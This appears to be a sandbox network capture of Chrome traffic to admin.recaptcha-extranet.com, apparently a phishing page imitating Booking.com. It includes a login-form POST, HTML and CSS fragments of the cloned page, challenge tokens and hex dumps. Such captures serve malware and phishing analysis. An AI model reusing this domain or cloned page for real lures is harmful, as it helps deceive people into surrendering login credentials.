39 4b 44 78 50 61 69 70 64 51 47 35 78 53 56 5a 69 63 56 6c 6f 53 6e 56 Data Ascii: eJ6wso58mLuulKjBs8u2ocOjq9GhraShqcenj6y0s9uxzqyeztGu0saivcDKpsHY4eLbz+DoxMe1ssDnxenl18XX8dnPytbXt9fQ/NUJ4+Xa5t/p0OsK7ePv4/jhFRnZEOzn/eoRBP3z7/oq+BriFfkpLTIkAe78AxAuAgYlOfMwDfYLDRskHkb8MCEzJDoqHCgfJBAPHVElMEYnIjMtHTo4XkwxUl45IkRfUUo9KDxPaipdQG5xSVZicVloSnV
2025-01-09 04:14:30 UTC	1369	IN	Data Raw: 6d 48 2f 76 73 34 66 34 68 4e 50 41 4f 44 7a 49 35 44 43 63 59 44 2f 6b 50 43 44 77 4e 51 55 45 5a 41 7a 66 38 47 77 63 62 46 45 6b 5a 54 54 6b 76 48 31 45 4b 4c 52 30 4f 53 53 4d 6c 4d 79 38 6c 4a 69 63 73 51 53 70 52 50 7a 41 74 56 52 34 79 4f 45 4e 56 54 44 6c 48 51 47 35 41 61 6a 42 7a 53 69 68 57 52 6d 39 6c 63 6d 77 76 50 6c 4a 59 53 31 42 34 62 33 6d 48 55 58 31 58 59 33 70 55 61 59 4b 4d 68 55 78 77 5a 6d 64 54 64 32 43 48 5a 34 6d 46 64 32 70 32 62 34 74 75 6f 5a 47 4e 6b 4a 5a 6c 58 34 4e 63 5a 49 53 4e 68 6f 39 38 66 72 43 44 6b 34 47 31 6f 61 43 48 63 36 57 35 66 59 71 38 75 72 4f 51 76 62 43 4e 74 4a 65 57 6b 59 48 4d 75 59 33 4a 71 49 66 50 71 6f 57 55 30 71 54 50 70 72 4b 53 79 72 57 56 76 64 72 61 72 62 69 39 7a 39 4f 66 76 63 48 62 70 62 Data Ascii: mH/vs4f4hNPAODzI5DCcYD/kPCDwNQUEZAzf8GwcbFEkZTTkvH1EKLR0OSSMlMy8lJicsQSpRPzAtVR4yOENVTDlHQG5AajBzSihWRm9lcmwvPlJYS1B4b3mHUX1XY3pUaYKMhUxwZmdTd2CHZ4mFd2p2b4tuoZGNkJZlX4NcZISNho98frCDk4G1oaCHc6W5fYq8urOQvbCNtJeWkYHMuY3JqIfPqoWU0qTPprKSyrWVvdrarbi9z9OfvcHbpb
2025-01-09 04:14:30 UTC	1369	IN	Data Raw: 48 68 34 72 43 7a 45 30 44 42 51 4c 4c 41 30 59 4d 41 67 52 49 78 45 51 45 7a 6e 2b 46 52 34 67 52 79 4e 46 50 77 38 64 48 53 73 6b 49 69 77 4e 4e 43 55 6c 57 53 38 32 4e 54 6f 72 50 6a 78 52 4e 44 41 2b 57 42 38 30 52 45 55 71 53 44 6f 35 4c 6b 77 39 5a 44 77 2f 51 53 31 51 51 56 45 78 4e 6c 70 56 63 45 78 49 54 44 6c 6b 55 56 46 34 59 46 5a 56 66 47 74 6e 5a 45 56 73 57 46 35 62 58 32 31 69 59 6e 42 6a 64 49 78 57 55 6e 5a 33 61 33 64 73 57 57 79 68 67 4a 74 6a 6e 57 6d 46 63 36 53 4b 5a 71 2b 65 62 59 65 70 73 35 4b 4e 67 49 4f 4f 6c 4c 57 31 6a 33 53 6f 77 5a 76 44 6a 33 71 65 6b 5a 69 30 6d 34 48 47 6d 61 61 70 6a 36 2b 6c 72 4c 32 55 6c 63 50 41 7a 72 53 6e 6f 38 79 32 71 4d 33 4f 74 72 6e 4d 34 37 57 7a 76 4c 47 6f 74 74 36 35 71 74 76 4f 37 62 43 Data Ascii: Hh4rCzE0DBQLLA0YMAgRIxEQEzn+FR4gRyNFPw8dHSskIiwNNCUlWS82NTorPjxRNDA+WB80REUqSDo5Lkw9ZDw/QS1QQVExNlpVcExITDlkUVF4YFZVfGtnZEVsWF5bX21iYnBjdIxWUnZ3a3dsWWyhgJtjnWmFc6SKZq+ebYeps5KNgIOOlLW1j3SowZvDj3qekZi0m4HGmaapj6+lrL2UlcPAzrSno8y2qM3OtrnM47WzvLGott65qtvO7bC
2025-01-09 04:14:30 UTC	219	IN	Data Raw: 68 4d 50 42 67 77 58 4b 53 41 50 2b 78 39 41 41 51 4d 62 46 54 45 72 53 66 31 4c 52 79 63 6b 54 69 6c 41 56 45 42 45 57 43 59 6f 54 54 59 62 53 52 51 56 49 46 52 44 51 53 35 4f 4a 6b 55 38 49 53 41 72 4f 6b 51 70 62 53 4a 45 52 55 78 31 61 43 31 4a 5a 6a 4a 37 54 33 74 4f 53 48 46 37 56 58 78 4c 63 58 64 38 63 57 68 71 55 6e 6c 57 66 49 61 4f 57 59 5a 53 53 31 31 6f 59 6e 42 72 57 46 53 61 57 32 71 47 57 59 39 74 58 36 42 33 5a 49 35 39 70 32 61 46 5a 4a 2b 6c 6a 47 57 6a 71 5a 46 2b 70 36 32 56 68 71 75 78 6d 5a 61 76 74 5a 32 65 73 37 6d 68 72 4c 65 39 70 4c 48 49 71 4c 65 34 69 61 71 39 70 63 66 4b 72 70 2f 4c 6a 62 66 43 6c 38 66 49 6e 36 41 3d Data Ascii: hMPBgwXKSAP+x9AAQMbFTErSf1LRyckTilAVEBEWCYoTTYbSRQVIFRDQS5OJkU8ISArOkQpbSJERUx1aC1JZjJ7T3tOSHF7VXxLcXd8cWhqUnlWfIaOWYZSS11oYnBrWFSaW2qGWY9tX6B3ZI59p2aFZJ+ljGWjqZF+p62VhquxmZavtZ2es7mhrLe9pLHIqLe4iaq9pcfKrp/LjbfCl8fIn6A=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49755	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:31 UTC	1305	OUT	POST /confirm/login/mFtQBHAv HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive Content-Length: 6168 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Upgrade-Insecure-Requests: 1 Origin: https://admin.recaptcha-extranet.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv?__cf_chl_tk=XmZ61HcTXxWgS9FB6_jERW4_eC8uwClc5u2cJS5BYus-1736396046-1.0.1.1-hjgrT3tu15oFH5NtShKSeKsY80XhIUGczR903bwPwqM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:31 UTC	6168	OUT	Data Raw: 64 36 35 35 39 61 35 35 36 34 62 30 32 35 62 34 66 63 30 63 32 35 63 33 37 34 39 35 37 66 61 37 66 37 64 33 61 34 37 34 35 37 64 38 61 31 32 65 63 38 65 61 33 38 62 62 61 61 39 63 31 61 39 65 3d 2e 4c 47 4f 47 4b 68 38 71 69 79 6c 70 77 30 32 76 77 31 48 51 4f 70 69 42 33 4f 4b 48 48 6f 52 5a 44 79 6a 4b 36 6c 51 75 62 4d 2d 31 37 33 36 33 39 36 30 34 36 2d 31 2e 32 2e 31 2e 31 2d 7a 43 6e 45 66 76 76 67 61 38 77 64 4d 37 6a 64 49 6c 59 78 4b 78 6f 37 50 70 4c 42 51 36 34 36 6e 4d 6f 54 63 44 48 50 4f 69 32 4d 78 4c 50 79 32 55 56 48 62 70 78 54 64 63 47 6d 77 39 45 4b 6f 4a 50 69 73 76 6e 30 5f 6b 76 45 58 42 46 4d 38 6e 72 75 64 65 65 6d 4b 36 66 4f 5a 48 76 49 4a 37 51 75 39 50 32 4f 56 77 73 69 41 69 47 38 54 53 67 50 68 61 39 61 44 45 47 32 73 39 2e Data Ascii: d6559a5564b025b4fc0c25c374957fa7f7d3a47457d8a12ec8ea38bbaa9c1a9e=.LGOGKh8qiylpw02vw1HQOpiB3OKHHoRZDyjK6lQubM-1736396046-1.2.1.1-zCnEfvvga8wdM7jdIlYxKxo7PpLBQ646nMoTcDHPOi2MxLPy2UVHbpxTdcGmw9EKoJPisvn0_kvEXBFM8nrudeemK6fOZHvIJ7Qu9P2OVwsiAiG8TSgPha9aDEG2s9.
2025-01-09 04:14:31 UTC	1361	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.recaptcha-extranet.com; Priority=High; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=mBVqLi8fK8TROeMAS5Uf2p_GJrvOpZEg10sVcToN6H8-1736396046-1.2.1.1-_q3eHqIsTiUsUvrxf4xW2D5eAidKuS2JTfIobRL8urmgyPUJDAarFRHshTnPKUeqJ3pcwPGHao09_kgz2D6MYHAbbmLdnHQ9NLuYl7Dh_l5dGZWQR3JCl7sNdmjoPUAAGWD81crQLK4QadtwOh6Ajqh2Ka3vKLnB52jwBcSf7vpWLGRe2VTJz6_BNr9j.HlXTWCvFZ4t5xNNckr_A__SvRfif2EwbJbKcjjPU4KHkFBC1R7oJcevEDTDCtOenMXFsD_TjDjWLbX0lwGM_1N8G59nSxaD1IYudhyQ2KFCeuM5vC0rWz3UWYRgqnVJgVXz5T_ER34JIgp781_QUjxxdDL8zFZGAz_qFvIjvIQ4Bgl5rkxnicQzcm5h3NMyLu_CcazKxnwmJr9Q42HXJEJ7Z1XjZG9Wm8H35UF0y1V4XxSVRoYyAVFaz1I_K_geFq.7; Path=/; Expires=Fri, 09-Jan-26 04:14:31 GMT; Domain=.recaptcha-extranet.com; Priority=High; HttpOnly; Secure; SameSite=None; Partitioned X-Powered-By: Express cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97P433NY7dxEnddajx%2BPocjAXCrsOZLaZipxQ5wHHzqSllzmxgiw%2F5OhDMiaWdLfJBaF42oWGJU%2ByoZ0kamD6IItS51UgKacNSLxbo2xXfrbvsAoIzSLOZt2Fp%2Bj%2BNyTzxYumKqdfcFCjaR50a7O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
2025-01-09 04:14:31 UTC	297	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 31 39 39 64 34 38 62 64 35 34 33 37 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 35 34 26 6d 69 6e 5f 72 74 74 3d 31 37 34 32 26 72 74 74 5f 76 61 72 3d 36 37 37 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 31 32 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 36 31 26 72 65 63 76 5f 62 79 74 65 73 3d 38 30 39 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 35 38 37 38 31 39 26 63 77 6e 64 3d 32 31 30 26 75 6e 73 65 6e 74 5f 62 79 Data Ascii: Server: cloudflareCF-RAY: 8ff199d48bd54379-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1742&rtt_var=677&sent=6&recv=12&lost=0&retrans=0&sent_bytes=2861&recv_bytes=8095&delivery_rate=1587819&cwnd=210&unsent_by
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 33 33 62 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 42 d0 be d0 be 6b 69 6e 67 2e d1 81 d0 be 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 Data Ascii: 33bd<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bking.m</title> <style> body { margin: 0; font-family: Arial, sans-serif;
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 62 75 74 74 6f 6e 2e 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 61 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 20 30 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 31 63 32 3b Data Ascii: border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; } .content button.a:hover { background-color: #003b95; } .content a { display: block; margin: 15px 0; color: #0071c2;
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 20 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 62 6f 75 6e 63 65 2d 69 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 2c 20 2d 30 2e 32 38 2c 20 30 2e 37 33 35 2c 20 30 2e 30 34 35 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 62 6f 75 6e 63 65 2d 6f 75 74 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 37 35 2c 20 30 2e 38 38 35 2c 20 30 2e 33 32 2c 20 31 2e 32 37 35 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 69 6e 73 74 61 6e 74 3a 20 31 30 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 66 61 73 74 3a 20 31 35 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 64 65 6c 69 62 65 72 61 74 65 3a 20 32 35 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 Data Ascii: --bui_easing-bounce-in: cubic-bezier(0.6, -0.28, 0.735, 0.045); --bui_easing-bounce-out: cubic-bezier(0.175, 0.885, 0.32, 1.275); --bui_timing-instant: 100ms; --bui_timing-fast: 150ms; --bui_timing-deliberate: 250ms; --bui_t
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 79 5f 6c 69 67 68 74 3a 20 23 62 61 64 34 66 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 5f 6c 69 67 68 74 65 72 3a 20 23 65 62 66 33 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 5f 6c 69 67 68 74 65 73 74 3a 20 23 66 61 66 63 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 64 61 72 6b 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 3a 20 23 36 62 36 62 36 62 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 6c 69 67 68 74 3a 20 23 62 64 62 64 62 64 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c Data Ascii: y_light: #bad4f7; --bui_color_primary_lighter: #ebf3ff; --bui_color_primary_lightest: #fafcff; --bui_color_grayscale_dark: #333; --bui_color_grayscale: #6b6b6b; --bui_color_grayscale_light: #bdbdbd; --bui_color_grayscal
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 65 72 5f 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 65 72 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6d 65 64 69 75 6d 5f 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6d 65 64 69 75 6d 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6c 61 72 67 65 5f 73 69 Data Ascii: -bui_font_smaller_size: 12px; --bui_font_smaller_line_height: 18px; --bui_font_small_size: 14px; --bui_font_small_line_height: 20px; --bui_font_medium_size: 16px; --bui_font_medium_line_height: 24px; --bui_font_large_si
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 3a 20 23 38 36 38 36 38 36 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 5f 61 6c 74 3a 20 23 65 37 65 37 65 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 6f 72 64 65 72 3a 20 23 66 66 62 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 6f 72 64 65 72 3a 20 23 30 30 36 63 65 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 62 6f 72 64 65 72 3a 20 23 66 35 36 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 5f 64 69 73 61 62 Data Ascii: nt_body_2_font-family); --bui_color_border: #868686; --bui_color_border_alt: #e7e7e7; --bui_color_accent_border: #ffb700; --bui_color_action_border: #006ce4; --bui_color_callout_border: #f56700; --bui_color_border_disab
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 65 64 3a 20 23 63 65 63 65 63 65 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 66 6f 63 75 73 3a 20 72 67 62 61 28 32 31 32 2c 20 31 37 2c 20 33 30 2c 20 2e 32 34 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 63 61 6c 6c 6f 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 63 74 61 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a Data Ascii: ed: #cecece; --bui_color_destructive_focus: rgba(212, 17, 30, .24); --bui_color_on_background: #fff; --bui_color_on_accent_background: #242424; --bui_color_on_callout_background: #242424; --bui_color_on_cta_background: #fff;
2025-01-09 04:14:31 UTC	1369	IN	Data Raw: 6e 64 3a 20 23 30 30 38 32 33 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 66 66 66 35 66 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6e 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 66 31 66 65 66 36 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 67 65 6e 69 75 73 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f Data Ascii: nd: #008234; --bui_color_brand_primary_background: #003b95; --bui_color_destructive_background_alt: #fff5f5; --bui_color_constructive_background_alt: #f1fef6; --bui_color_brand_genius_primary_background: #003b95; --bui_color_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49756	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:31 UTC	601	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:31 UTC	934	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:31 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: o68yCH9IW0sf15APEfDp7/AODbuJf0SZGS8=$jQ+jIjKiDUX25lVq Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2BlNlBBglvwodxSGo9pFPqZJWwWs9sbwCjsGgCCzufFcMNPZJnzs2t6vdo6FRdFAAyrphu3o%2BKTPqGp7aC6PY3%2BhVB10tQ6JCKu%2FcrB9JiTxxbniXjWZIKkUI6rYBQaGviNe65FbgJZMuOTt3OAJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff199d4ce8b423f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1727&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2861&recv_bytes=1179&delivery_rate=1595628&cwnd=237&unsent_bytes=0&cid=2757a51025e11e9e&ts=142&x=0"
2025-01-09 04:14:31 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49759	18.245.31.49	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:32 UTC	637	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://admin.recaptcha-extranet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:33 UTC	769	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Fri, 27 Dec 2024 12:11:20 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Sun, 26 Jan 2025 12:11:20 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 383422f03bfc9d77974d0ac637421c22.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: W-J6EXOWGzomqlQkp7-GCUZrG-KAweOWUTSLGOSAjmmNFtaJedmYRQ== Age: 1094593
2025-01-09 04:14:33 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: 